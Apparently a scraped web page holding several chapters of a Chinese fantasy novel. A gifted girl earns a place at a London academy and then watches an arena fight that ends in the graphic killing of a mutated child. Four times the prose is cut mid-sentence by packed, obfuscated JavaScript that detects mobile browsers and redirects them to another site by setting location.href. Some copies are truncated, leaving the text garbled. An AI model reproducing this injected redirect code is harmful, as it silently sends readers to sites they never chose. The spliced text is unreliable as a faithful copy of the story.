她每天早上六点起床，步行四十分钟到学院图书馆。管理员最初不让她进。旁听资格不包含借阅权限。希尔达不吵不闹，每天准时出现在门口，安静地等。一周后，或许是烦了，或许是看她实在执着，管理员摆摆手让她进去了，但警告她只能看，不能抄，不能带走。 图书馆穹顶高得让人眩晕，空气里弥漫着旧纸张和灰尘的味道。希尔达从书架最底层抽出蒙灰的《算术基础》，对照着那本边角卷起的葡英词典，一个词一个词地啃。公式像缠结的藤蔓，她用草稿纸一遍遍梳理，直到脉络清晰。 八点半，第一堂课开始。她坐在教室最后一排的角落，那里通常空着。大部分教授对她视而不见，仿佛她是一团透明的空气。只有少数几个会瞥她一眼，眼神里带着审视或漠然。 数学课是她最期待的，也最煎熬。 授课的卡尔森教授就是评议会里替她说话的那位。他讲课语速很快，板书密密麻麻，微积分、数论拓扑……希尔达拼命记笔记，但总跟不上。下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081276|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课后，她会鼓起勇气走到讲台前，递上自己整理的笔记和习题。 “教授，这几道题我不太理解。” 卡尔森教授第一次看到她递来的本子时，快速扫了几眼，然后发出短促的嗤笑。 “第三题，你连基本公式都用错了。第五题，方向全偏了。”他把本子扔回给希尔达，动作不算无礼，但也绝称不上友善，“旁听生就该有旁听生的自觉。先把基础补好，别好高骛远。” 希尔达的脸烧得厉害。她低头说了声“谢谢教授”，攥紧本子转身离开。 但她第二天又来了。 还是那些做错的题，但她按照卡尔森上次指出的错误改了，在旁边附上了新的思路和疑问。卡尔森这次看了更久一点，眉头皱得更紧。 “这里，积分区间你搞反了。这里，你忽略了一个边界条件。”他用红笔在本子上划了几道，语气依旧冷淡，但至少愿意多说几个字了，“回去重做。下周交。” 就这样，一周又一周。希尔达的作业本从满是红叉，慢慢变成红叉和红勾混杂，最后红勾越来越多。她不再只问课本上的题，开始尝试解一些卡尔森随口提到的课外思考题。那些题通常很难，她常常要熬到半夜，对着煤油灯算到眼睛发酸。 评论也从“完全错误”变成“思路可取，但计算失误”，偶尔还会在角落里有一句“参见某某章节”。 转变发生在一个雨天的午后。 那天下课后，希尔达照例去交作业。教室里只剩卡尔森在整理教案。窗外雨声如密不可分的幕布，天色昏暗。 “教授。”希尔达把本子放在讲台上。 卡尔森没抬头，继续往公文包里塞文件。塞到一半，他动作顿住了，视线落在希尔达的作业本上。今天那页格外干净，只有一道题。 那道题是卡尔森两周前随口提的，关于尺规作正十七边形，只是说“有兴趣的同学可以想想”，并未期待真有回应。 “你解了？”卡尔森拿起本子，声音里第一次没了那种居高临下的冷淡。 “我花了很多时间。”希尔达老实说，“我试了一晚上，刚开始一直试着用圆规和直尺分割圆周，后来换了思路，将几何问题转化为代数问题。” “我把方程拆开后，每次细分，得到的都是能解的二次方程，每一个方程的根，都对应着一次尺规作图。 卡尔森坐了下来。他掏出眼镜戴上，仔细阅读那些密密麻麻的算式。雨声成了背景音，时间一分一秒过去。希尔安静地站在讲台边，手指不自觉绞着裙摆。 足足二十分钟后，卡尔森摘下眼镜，揉了揉鼻梁。他看向希尔达，眼神复杂。 “你叫什么名字？”他问，仿佛第一次见她。 “希尔达·科斯塔，教授。” “科斯塔小姐。你说你花了一夜，解出了这道题？”卡尔森把本子还给她，上面的红笔批注只有一行字：证明成立。 “是的老师，我是不是……方法太笨，把这道题繁琐化了？”希尔达有点紧张 卡尔森并没有回复问题，而是站起身，拎起公文包。 “从下周开始，你不用坐最后一排了。第二排靠窗那个位置，我给你留着。” 他走到教室门口，又回头补了一句：“记得带纸笔。我的课，光听不够。” 门外是连绵的雨。冰冷的空气并未让他清醒，反而让胸腔里翻涌的惊悸更加汹涌。 正十七边形。 这是一道悬置了两千年的难题。 来自码头，带着草药和占卜传闻的女孩，用一晚上，独自一人，在煤油灯下将它解开了。 他突然理解韩吉信中所说“数学直觉方面的天赋”究竟意味着什么。 甚至他感到脊背发凉。他此刻才真正触摸到其可怖的实质。那不是简单的聪明，希尔达近乎本能拥有对数学结构的洞察力。她绕过所有常规的古典几何歧路，直刺问题的核心，代数，并用无比严谨的方式，将其拆解、降服。 “恐怖的天赋……” 他低声自语，声音散在潮湿的空气里。 希尔达·科斯塔所展现的，还有更恐怖的勤勉。 这女孩需要的根本不是怜悯和特别关照，要有一个足够广阔平台托举她，让她那惊人天赋不至于在卑微的处境中磨损。她需要系统的训练，需要接触到真正的数学前沿，需要被引领，而非仅仅被容忍。 几年后，她会走到哪一步？ 卡尔森想象不出。他只知道，无论那终点是什么，希尔达·科斯塔这个名字，都必将被写入史册。 不是作为谁的学徒，不是作为某种猎奇的符号。 而是作为她自己。 或许将照亮数学领域的名字。 冰冷的雨点打在他的脸上。他深吸一口气，将这震撼牢牢压入心底，化为一种沉甸甸的责任感。 他得做点什么。至少，不能让她被这所古老学院傲慢的尘埃所掩埋。 29. 兽戮围场7 学院生活像一条缓慢但坚定的河流，冲刷着希尔达最初的不安与局促。她渐渐熟悉了那些复杂的术语，能跟上大部分课程的节奏，甚至开始在一些讨论中怯生生地发表看法。虽然十次有八次会被打断或忽视。 但她始终是孤身一人。 旁听生的身份像一道透明屏障，把她和其他学生隔开。在走廊上，没人跟她打招呼；在食堂里，没人愿意跟她拼桌；在讨论小组中，她永远是那个被遗忘的角落。那些穿着整洁制服、谈吐优雅的年轻男女，看她的眼神总是带着一种疏离的好奇，仿佛她是某种珍稀但低等的生物。 直到那天下午，在物理实验楼的楼梯转角。 希尔达抱着一摞刚从图书馆借来的书，低头看着脚下台阶，心里盘算着晚上要啃完哪几章。转角处突然撞上一个人，书哗啦散了一地。 “抱歉！”对方先开口，声音清脆。 希尔达慌忙蹲下捡书，一抬头，愣住了。 站在面前的是个和她年纪相仿的女孩，身材高挑，扎着利落的深棕色高马尾，穿着学院制服但没系领结，外面套了件沾着些许污渍的实验室白大褂。女孩五官分明，鼻梁挺直，此刻正带着歉意看着她。 “我帮你。”女孩也蹲下来，手脚麻利地捡起散落的书，《高等微积分》《经典力学基础》《以太场论初步》……看到最后一本时，她动作顿了一下。 “你在读韩吉教授的书？”女孩抬起头，闪过惊讶。 希尔达点点头，心脏莫名跳快了一拍。这是三个月来，第一次有人主动跟她说话，还提到了韩吉的名字。 “我叫佐伊。”女孩把最后一本书递给她，微微一笑，“佐伊·瓦尔德。我在以太实验室做助理。” “希尔达·科斯塔。”希尔达接过书，抱在怀里，“我是旁听生。” “我知道。”佐伊站起身，拍了拍白大褂上的灰，“韩吉教授的推荐信，在教授圈子里传遍了。大家都好奇，能让那位怪人韩吉破例推荐的学生，到底是什么样。” 希尔达的脸又有点发烫。她不知道这算是夸奖还是讽刺。 “别误会，我没有恶意。”佐伊似乎看出了她的窘迫，语气轻松了些，“韩吉教授在以太领域是开拓者，虽然很多人不认同她的方法，但没人能否认她的贡献。去年那场事故后……”她惋惜道，“学院里愿意公开研究以太的人，越来越少了。” 希尔达抓紧了怀里的书。“你也研究以太？” “算是吧。”佐伊耸耸肩，笑容里多了点无奈，“实验室现在经费紧张，项目被审查，教授们天天吵架。我这种助理学生，就是打杂的命。对了，你既然对以太感兴趣，要不要来看看实验室？虽然没什么好看的，一堆生锈的仪器和没人看的笔记。” 希尔达的眼睛亮了起来。这是邀请吗？真正的来自学院内部的邀请？ “可以吗？可我没有权限。” “跟着我就行。”佐伊转身往楼上走，“实验室在三楼西侧，最破的那间就是。反正平时也没人去。” 那天下午，希尔达在以太实验室待了两个小时。实验室确实如佐伊所说，陈旧杂乱，靠墙的木架上堆满蒙尘的玻璃器皿和金属构件，长桌上摊开着泛黄的图纸和笔记本，空气里有淡淡的臭氧和金属锈混合的味道。 佐伊给她看了几个最简单的以太感应器原型——那是几组铜线圈和石英晶体构成的装置，据说能检测到“环境的异常能量波动”。希尔达拿起其中一个，入手冰凉，晶体内部有细微的裂隙。 “这些都是韩吉教授早期设计的。”佐伊靠在桌边，看着希尔达小心翼翼摆弄装置，“她说以太不是一种物质，而是一种状态，是物质与能量之间的某种过渡形态。但没人能证明，所以主流学界一直把她的理论当科幻小说看。” “去年的事故”希尔达心里一直的疑问，“真的是以太导致的吗？” 佐伊沉默了很久。窗外天色渐暗，实验室里没点灯，阴影慢慢爬满墙角。 “我不知道。”最终，佐伊说，“官方报告说，是自由港联邦实验室违规操作，导致高浓度灵素以太泄漏。但报告没公开细节。韩吉教授之前在自由港做学术交流，是最前沿的学者，事故发生后，她主动参与救援和隔离工作。” “然后” 她没说完，但意思已经很清楚。 希尔达放下感应器。晶体在昏暗中泛着微弱的光。 “那为什么还要研究？”她问，“如果它这么危险，甚至连韩吉老师都没有找到掌控的方法。” “因为危险的不是知识本身，是使用知识的人。”佐伊走到窗边，背对着希尔达，望向外面逐渐亮起的城市灯火，“火能取暖，也能烧毁房屋；蒸汽能驱动机器，也能炸毁锅炉。以太或者其他任何新发现的东西，都一样。禁止研究不会让危险消失，只会让它在阴影里长得更扭曲。” 她转过身，眼睛在暮色中异常明亮：“韩吉教授曾经说，人类最大的愚蠢，就是总想给未知的东西贴上安全或危险的标签，然后要么盲目拥抱，要么恐惧逃避。真正的智慧，是承认未知本身就是危险，然后小心翼翼地、一点一点地，点亮黑暗。” 那一刻，希尔达眼中，佐伊的身影和记忆中的韩吉重叠——那个在里斯本酒馆里，对着油灯摆弄水晶球，嘴里念叨着“能量”“共振”“相位”的女人。 从那天起，希尔达在学院里不再是一个人了。 佐伊成了她的向导，也是她唯一的朋友。她带希尔达熟悉学院的各个角落，告诉她哪些教授上课值得听，哪些只是在念经；借给她进不去的实验室的钥匙，分享自己整理的笔记；甚至偶尔带她去学院外的市集，吃廉价的馅饼，看街头艺人的表演。 --- 十一月初，数学课结束后，卡尔森教授把希尔达叫到办公室。 办公室很简朴，靠墙的书架塞满了书和论文手稿，窗台上摆着一盆半死不活的蕨类植物。卡尔森坐在橡木书桌后，手里拿着一份文件，眉头皱得很紧。 “坐。”他指了指对面的椅子。 希尔达坐下，心里七上八下。最近她的数学进步很快，作业几乎全对，甚至开始尝试一些超出课程范围的问题。难道哪里出错了？ 卡尔森放下文件，摘下眼镜，揉了揉眉心。他看起来有些疲惫，眼下的皱纹很深。 “科斯塔小姐，你的数学天赋，确实如韩吉教授所说，非同寻常。”他开口，声音低沉，“过去两个月，你完成的习题和思考，已经超过大部分正式学生一年的进度。” 希尔达屏住呼吸。 “但是。”卡尔森看着她，眼神严肃，“旁听资格终究是临时的。下个学期开始，学院会重新审核所有旁听生的记录。以你目前的情况。没有导师，没有学籍，没有正式成绩单，很难通过审核。” 希尔达的心沉了下去。她张了张嘴，想说点什么，但不知道怎么争取。 “所以我做了个决定。”卡尔森从抽屉里取出一份表格，推到希尔达面前，“这是我签名的正式学生推荐表。我会作为你的担保人，向学院申请给予你数学系的临时学籍。同时，物理系的艾伦教授——他负责基础物理实验室——同意接收你作为助理研究员，前提是你通过考核。” 希尔达瞪大眼睛，不敢置信地看着那张表格。纸张很厚，抬头印着皇家自然哲学学院的徽章，下方是密密麻麻的填写栏，卡尔森已经在“推荐人”一栏签了名。 “为什么……”她声音发颤。 “因为规矩是死的，人是活的。”卡尔森重新戴上眼镜，表情依旧严肃，但眼神柔和了些，“学院成立的初衷，是探索真理，不是制造门槛。你有探索真理的潜质，就应该获得相应的机会。这是我作为教授的责任。” 他补充道：“当然，考核不会轻松。艾伦教授是出了名的苛刻。你得做好心理准备。” 希尔达用力点头，眼眶发热。她拿起那张表格，手指抚过卡尔森龙飞凤舞的签名，抚过学院庄严的徽章。三个月来的委屈、孤独、挣扎，在这一刻都值得了。 “谢谢您，教授。”她站起来，深深鞠躬，“我一定会通过考核。” 离开办公室时，希尔达几乎是跑着去找佐伊的。她在物理实验楼三楼的走廊里找到了正在清洗试管的好友。 “佐伊！我……我有学籍了！”希尔达气喘吁吁，把表格递过去。 佐伊擦干手，接过表格仔细看了一遍，然后抬起头，眼睛弯成月牙：“恭喜你，希尔达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为你现在是学院的半个内部人员了。”佐伊笑了笑，“有些事，知道了比不知道好。伦敦是个漂亮的金笼子，但笼子底下有很多暗门。韩吉教授教过你观察，对吧？那就多观察，多思考，别被表面的光鲜骗了。” 那天晚上，希尔达带着复杂的心情回到平民区的公寓。丽塔已经做好了晚餐。今天难得有炖肉，香气扑鼻。 “怎么样？学籍申请有消息了吗？”丽塔一边盛汤一边问。 “卡尔森教授推荐我了。”希尔达坐下，把表格拿出来给母亲看。 丽塔擦了擦手，接过表格，盯着看了很久。她不识字，但认得学院的徽章，也看得出那是一份正式文件。良久，她抬起头，眼眶有点红。 “好。好。”她连说两个好字，把表格小心翼翼地放在桌子中央，像供奉什么圣物，“我就知道我女儿行。” 晚餐时，希尔达犹豫再三，还是提起了兽戮围场。 “佐伊说，学院有教授去那里做研究，还是海军部批准的。妈妈，你在酒馆工作，听说过什么吗？” 丽塔正在切面包的动作顿住了。她放下刀，擦了擦手，表情变得严肃。 “兽戮围场”她重复着，像在掂量这个词的分量，“我在酒馆里听过一些醉话。说那里不止有拳赛，还有怪东西。” “怪东西？” “喝醉的水手说的，真假不知道。”丽塔回想道，“说最近几个月，围场来了新节目，不是人对人，是人对不是人的东西。说那些东西长得吓人，有的像鱼，有的浑身是刺，有的力气大得能撕开铁笼。赌客们一开始吓坏了，后来看多了，反而更兴奋，赌注越下越大。” 希尔达胃里一阵翻搅。她想起韩吉笔记里那些关于“以太污染导致生物变异”的片段，想起自由港联邦的实验室事故。 “酒馆老板也提过。”丽塔继续道，眉头紧皱，“说围场背后有大人物撑腰，警察从来不管。而且最近去看的，多了很多体面人——穿呢子大衣、戴礼帽的绅士，还有蒙着面纱的贵妇人。普通拳赛可吸引不了这种人。” “那地方鱼龙混杂。你可千万别好奇往那种地方凑，听到没？” 窗外传来钟声，是远处教堂的晚钟，沉闷地穿透雾气。 希尔达盯着碗里的炖肉，突然没了胃口。 --- 30. 兽戮围场8 离开学院时，天已经黑了。希尔达没有直接回家，而是绕路去了泰晤士河岸。她想一个人走走，消化着这几天的事。 河面黑沉，倒映着对岸工厂的零星灯火。货船缓慢驶过，汽笛声悠长而孤独。希尔达沿着河岸走了很久，脑子里乱糟糟的。正十七边形、学生证、实验室、佐伊说的那些话、妈妈听到的传言…… 突然，一阵喧哗声从河岸下游传来。那里有一片废弃的码头仓库区，此刻隐约可见灯火通明，人头攒动。 希尔达停下脚步，犹豫了几秒，还是朝那个方向走去。 她躲在一堆破木箱后，探出头。 仓库群的核心，那座最为高大建筑墙面用深色砖石垒砌，窗户高窄，透过窗户可见内里用厚重的黑绒布遮蔽，透不出一丝光亮。屋顶是平缓的坡顶，覆盖着乌黑的瓦片，在伦敦常年阴郁的天空下，几乎与背景融为一体。人们从浓雾中现身，纷纷沉默地汇入建筑。 兽戮围场。 希尔达的心脏狂跳起来。想起妈妈的警告，但好奇心推着她往前。 她绕到建筑侧面，想找一个缺口远远看一眼，绕了一圈，四周都有门，都是包铁的半掩巨大木门，门前没有守卫。 似乎，这里从不邀请路人。傲慢的等着沸腾的观众在殿堂自甘堕落。 她走了进去。 聚光灯刺破围场上空弥漫的腥浊空气，光柱缓慢扫过阶梯看台，最后定格在场地中央。沙地被反复踩踏、浸血、耙平，像一块巨大的病变皮肤。 看台与往常不同。 下层挤满了矿工、搬运工、水手，他们穿着沾满煤灰或汗渍的工装，脸上写满疲惫与麻木，眼睛却因期待而发亮。但今天，他们的上方，环绕场地一周的包厢层，坐满了另一类人。 灯光扫过包厢，短暂照亮那些精致的身影。男人们穿着剪裁精良的深色礼服，领结一丝不苟，袖扣在光线下偶尔一闪，像暗夜里的兽眼。女人们裹在天鹅绒或丝绸长裙里，裙摆铺开在木椅边缘，像孔雀在黑暗中展开尾羽。所有人都戴着遮挡半面的面具——银质雕花、镶嵌碎宝石，遮住眼睛和鼻梁，只露出嘴唇和下巴。 这让他们可以肆无忌惮地开怀大笑，舔去偶尔溅到唇边的血沫。 优雅与嗜血，在这里是同一枚硬币的两面。 “女士们，先生们！”管事虚影在半空中凝聚，声音因兴奋而尖利，“今夜，将是一场无与伦比的特殊表演！” 看台安静下来，连下层工人都屏住呼吸。 “一方，是我们熟悉的东方怪胎，三轮全胜，以最原始、最血腥的方式终结每一个对手！” 嘘声和口哨声响起。下层观众喜欢林，因为她的战斗没有任何花哨，只有撕咬、抓挠、以伤换命的野蛮。这让他们觉得自己高人一等。至少他们还是“人”。 “而另一方，”管事拖长语调，制造悬念，“是今夜特别准备的金丝雀！” 另一侧铁闸缓缓升起。 先出来的是一双赤脚。很小，沾着沙土，脚踝细得仿佛一折就断。然后是小腿，瘦得能看到骨骼轮廓，皮肤苍白，有着淡蓝色的血管纹路。 一个女孩。 看起来不过八九岁，穿着破破烂烂的麻布裙，浅金色的柔顺头发长度齐肩。她低着头，双手紧紧攥着裙摆。 最引人注目的是她的眼睛。抬起头时，浅灰色的瞳孔淡得近乎透明，在聚光灯下像浮冰。 包厢里传来低低的惊叹。 “多可爱……” “像个小天使。” “他们从哪弄来的？” 女孩站在场地边缘，不敢往前走。她转头看向铁闸方向，那里站着一个狱卒，正不耐烦地挥手：“进去！小杂种！” 女孩瑟缩了一下，慢慢挪进场地中央。睫毛发抖，像受惊的幼鹿闯进了人间炼狱。 另一侧，林被踹了出来。 她踉跄两步，以一种奇怪的爬行姿势站稳。依旧是那身破烂囚衣，左眼蒙着脏污布条。但经过三轮厮杀，她身上又添了新伤：左脸颊一道深可见骨的抓痕正在结痂，右肋下缠着渗血的绷带，裸露的左臂上布满新旧交叠的淤青。 更重要的是她的状态。 前两轮，她眼中还有残存的属于人类的情绪。有愤怒、痛苦、偶尔闪过的困惑。但第三轮注射以太刺激剂后，那些情绪被烧光了。 现在的林，更像一头真正的野兽。 希尔达的呼吸停滞了。 是林。 她在里斯本认识的独眼东方女人，和埃里克一起喝酒、会平静温和听她讲诉心事的林。但现在，她几乎认不出她了。 林佝偻着身体，重心压低，喉咙里发出持续的低吼。完好的右眼死死盯着对面的女孩，瞳孔收缩成针尖大小，里面没有任何理智的光，只有捕食者的本能警惕。 但她没有动。 按照前几轮的模式，对手出现的瞬间，林就会扑上去——突袭、缠斗、撕咬，用最快最狠的方式终结战斗。 可这次，她只是焦躁不安地在原地踱步，她的左手已经不能称为手了，指甲尖锐弯曲，指关节因抓挠而变形，像动物的爪，不断刨着沙地，扬起细小的灰尘。她对着女孩呲牙，露出沾着血垢的牙齿，吼声越来越大，却始终没有发起攻击。 观众开始不耐烦。 “上啊！撕了她！等什么？” 包厢里，面具下的嘴唇勾起玩味的弧度。他们喜欢这种反常，这比单纯的厮杀更有观赏性。 管事的声音从上方飘过：“赔率1:10，最后30秒下注！” 女孩似乎被林的吼声吓到了，她往后退了一小步。她看着林，浅灰色的眼睛布满恐惧，漫着一层水光，将落未落的泪珠，在睫上凝成了细碎的光。 然后她回头看了一眼狱卒的鞭子，咬着牙跑了过去。 裙子下摆随着动作微微晃动，白色小腿令人心疼的纤细，生怕她突然摔倒。 林浑身的肌肉瞬间绷紧，吼声变成威胁性的咆哮。但她依然没有迎击，甚至女孩越来越近时，渐渐站起来。 女孩跑到她面前，停下。仰起头，看着这个比自己高出许多、浑身血腥的怪物。 然后她伸出手，抱住了林的腰。 像孩子轻轻抱住母亲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081278|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看台一片哗然。 “搞什么？” “这算什么角斗？” 林僵住了。野兽的本能在尖叫。 危险！撕碎她！ 但身体没有执行命令。她低头，那颗浅金色的小脑袋贴着自己，毛茸茸的，感受着那双细瘦的手臂环住自己。 女孩抬起头，灰色眼睛对上林那只完好的右眼。 然后她张嘴，咬了下去。 牙齿陷进林左臂的皮肉，像孩子赌气，留下两排清晰的青紫牙印，却不严重。 林没有挣扎。 只是看着女孩，看着那双浅灰色的眼睛，看着那张稚嫩却毫无表情的脸。 --- 军营里那些年轻的士兵，第一次上战场时，也是眼神空洞，动作僵硬，像提线木偶。 帐外狂风卷着雪粒，木兰撞见个半大孩子，硬要往士兵堆里钻，她拽住后领：“你这丫头，跟着我们，你想干什么？” 她一脸倔强：“和你们打仗。” “你信我们会赢？” “信” 木兰思索片刻“等打赢了，天下太平，之后你打算干什么。” 小孩笑了笑“那时候我已经死了。” --- 但下一秒，真正的攻击来了。 女孩的胸口毫无征兆地裂开一道口子，撕开布料。像一道巨大的伤口，边缘是巨齿，内壁粉红，类似河蚌的肉质组织，布满细密尖锐的牙齿，一圈圈向内旋转，像通往消化器官的入口。 那张嘴猛地张开，咬住林的腹部。 噗嗤。 皮肉被刺穿的声音沉闷而清晰。牙齿嵌进腹腔，咬合肌收缩，开始撕扯。血瞬间涌出，染红了女孩的裙摆和林破烂的囚衣。 剧痛终于激活了林的战斗本能。 她猛地抓向女孩的头，想要把她扯开。但女孩死死咬住她的左臂，整个身体像水蛭一样吸附在她身上。腹部的巨口还在加深咬合，林能感觉到肠子被挤压、牵扯，尖锐的疼痛像电流一样窜遍全身。 她试图后退，但女孩的四肢不知何时缠住了她的腿。两人像连体婴般摔倒在地，在沙地上翻滚。 血越来越多。 腹部的伤口被撕扯扩大，巨口贪婪地吞噬着涌出的血液和碎肉。林能感觉到生命正随着血液流失，视线开始模糊，耳朵里嗡嗡作响。 观众沸腾了。 “对！就这样！吃了她！” “没想到啊金丝雀！好样的！” 包厢里，绅士们身体前倾，女士们用扇子半掩着脸，但眼睛睁得极大。面具下的嘴唇因兴奋而湿润。 希尔达躲在人群的阴影里，意识正在沉入黑暗，恍惚中，她感觉自己飘起来了，在空中看着自己的身体。 看着林被那个看似无害的女孩死死缠住，血流满了沙地，潮湿的沙砾裹着黏稠的血沫。林的挣扎越来越弱，左手的抓挠变得无力。 林要死了。 这个念头无比清晰。还有埃里克，也是这样吗？死在这个肮脏的地下围场，死在一个孩子模样的怪物嘴里。 希尔达闭上眼睛。 31. 兽戮围场9 无数碎影，惊惧般乱撞，缠绕，滋生。被恨意收拢。 这些感知不断叠加，在耳畔低语。其余搅成一团血肉，和黏稠的黑暗，形成一个新的，真实存在的世界。 里世界。 林困在蓝光交织的蛹中，天地间，更多光蛹坠向深空，却没有一个能逃出祂的视线。那竖瞳的注视，带着恒星般的引力，成了无从规避的宿命。 竖瞳处于世界的中央，悬于混沌，看不见祂的边缘。 不见首尾，无有始末。尸山血海与无尽黑暗，都成了祂的眼眶。 林沉浮于意识的深潭，她已将自己放逐于此，任由兽性接管躯壳。她在里世界反复锻打所有的愤怒与仇恨。蓝色丝线穿过血肉，无法观测处，正蓄积着所有微小的畸变。 直到，一股陌生的灼热冲撞进她纺锤状的蛹中。 原来是无数嚎叫的蓝光，如仇恨的支点，将她拉回表世界。 -- 咚。 心跳砸回胸膛的钝响，连带胸腔里的淤血都震得发痛。肢体沉重，灌了铅似的。 声音直接钻进脑子。在颅内发响，像有人用指甲刮擦她的头骨内壁。 妈妈…… 不能……脏……衣服脏了…… 吃掉……吃掉……就不痛了…… 破碎的句子，重叠的情绪，绝望的哭喊。是女孩的。来自一个被改造、被囚禁、被逼成怪物的孩子。 林的右眼，那只野兽般的眼睛，突然闪过一丝极细微的波动。 困惑。 为什么她会听到这些？ 这个念头刚浮现，求生本能接管了身体。左臂与腹部传来被撕咬的剧痛，她甚至没去看咬住她的东西长什么样。肩关节猛地向下一沉，同时手腕以一种折断般的角度向内翻转，骨头咯吱作响。 五指成爪，朝感知中最近的部位抓去。 噗。 指尖陷入柔软温热的眼窝，触感像戳破熟透的果子。 一颗湿滑圆润、连着黏稠液体的球体被攥在掌心。 凄厉的尖叫爆开。女孩明明还咬着林的手臂，但胸口那张巨口深处发出高频刺耳的声音，在空洞的腔体里震颤。 她松口了。 剧痛导致的痉挛，女孩痛苦倒下。嵌在腹部的巨口猛地收缩，密密麻麻的细小牙齿撕扯，带出一大块血肉。 林闷哼一声，跪倒在沙地上。腹部的伤口彻底敞开，能看见里面蠕动的肠子。血像决堤一样涌出，左手按压伤口，血立刻从指缝溢出来，根本捂不住。在沙地上积成一滩迅速扩大的暗红。 看台炸开了。 “挖眼！漂亮！” “继续啊！杀了她！” “金丝雀！咬回去！咬死她” 林跪着，大口喘气。她能感觉到体温在流失，力气随着每一滴血离开身体。视线越来越暗，耳边观众的吼声变得模糊，像隔着厚重的水层。 愤怒就在这时涌上来。林知道自己该盯着眼前的怪物，可眼睛一寸寸刮过那些兴奋到扭曲的面孔，这该死的围场，最终死死焊在最高处的身影，就是他，所有的恨意，瞬间有了名字。 女孩浅金色的身影摇摇晃晃地立起来。她捂住脸，血从指缝里汩汩涌出。然后，她放下手。 右眼的位置，只剩下一个血肉模糊的窟窿。左眼倒是完好，但那灰蒙蒙的瞳孔因剧痛和恐惧放得很大。头发被血黏成一绺一绺。 她哭了。 她想回家，她好想，好想再抱妈妈一次。 都怪自己，都怪自己太吵了，为什么不乖一点，为什么松开了手。 妈妈……对不起…… 我想回家…… 这里黑……肚子里的东西……一直咬我……好痛…… 哭声微弱，被看台的喧嚣淹没。但林听见了。和刚才那些破碎的心声一样，直接响在她意识里。更清晰，更绝望，扎进她麻木的神经。 观众开始不耐烦。 “哭什么哭！快杀了她！” “废物！白长那张嘴！” “管管这杂种！” 铁闸方向传来狱卒的怒吼，鞭子抽在铁栏上，啪的一声脆响：“小杂种！你再不动手，回去老子剥了你的皮！扔进粪坑！” 女孩浑身一颤。 哭声戛然而止，慢慢转回头，看向跪在血泊里的林。她脸上的表情一点点消失。最后只剩下一片空白。 她抹了把眼泪和血，跌跌撞撞地走向林。 希尔达在阴影里死死捂住嘴，不让自己叫出来。她看着小小的身影一步步逼近，看着林垂着头一动不动。 “对不起……”她低头小声说，像在对自己说，“我不想死” 她抬起脚，对准林的头颅，准备踩下去。 就在这时 林的眼球在眼皮底下猛地转动，骤然掀开。 身体向右侧猛地一滚。动作因为失血而显得滞重笨拙，女孩的脚擦着她的耳廓落下，踩在沙地上，激起一小片沙尘。 一脚踏空，女孩身体失去平衡，向前一个趔趄。她慌乱中下意识想稳住。 林滚翻停住的瞬间，一把扣住女孩左脚踝骨，拇指死命抵进跟腱与骨头之间的缝隙，狠狠摁下去。 夹着细微的碎裂声。女孩腿一软，整个人噗通摔倒在地。 两人摔作一团，沙尘飞扬。 林在上方。她用右肩残存的断骨和整个身体的重量死死压住女孩的背部，遏制住任何挣扎的可能。左手松开脚踝，闪电般上移，精准地扼住了女孩纤细的脖颈。 五指收拢。 女孩眼睛瞬间瞪大，另一个空洞的眼眶流出泪滴般的血，疯狂地抓挠，在林的小臂和手背上划开一道道深可见骨的血口。胸钱的巨口徒劳地开合，试图咬向林的侧腰，但角度刁钻， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081279|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只扯下一片破烂的囚衣。 咔嚓。 颈骨断裂的声音清脆果断，穿透了看台的嘈杂。 女孩的身体僵住了。挣扎停止，双手无力垂下。浅金色的头发失去光泽，枯草般铺在沙地上。 林松开手。 女孩的尸体软软滑落，像一摊被丢弃的破布。腹部的巨口还在微微抽搐，但很快就停了。 林喘着粗气，从尸体上翻下来，上方是被煤烟熏得发黑的穹顶，几道刺目的灯柱交叉扫过。 包厢率先爆发出狂热的欢呼。 绅士们站起来鼓掌，女士们挥舞手帕。下层观众也跟着吼叫，跺脚，把铜板扔进场地。 结束了。她杀了个孩子。一个会哭，会想妈妈，会被吓坏的孩子。 聚光灯集中在林身上。 她摇摇晃晃站起来，把肠子塞回去，腹部的伤口还在流血，但速度明显慢了。新生的肉芽正在以肉眼可见的速度蠕动，伴随着骨髓深处的灼烧。她低头看了看脚边的尸体——小小的，蜷缩着，发丝散落在地，如被践踏的雏鸟绒羽。 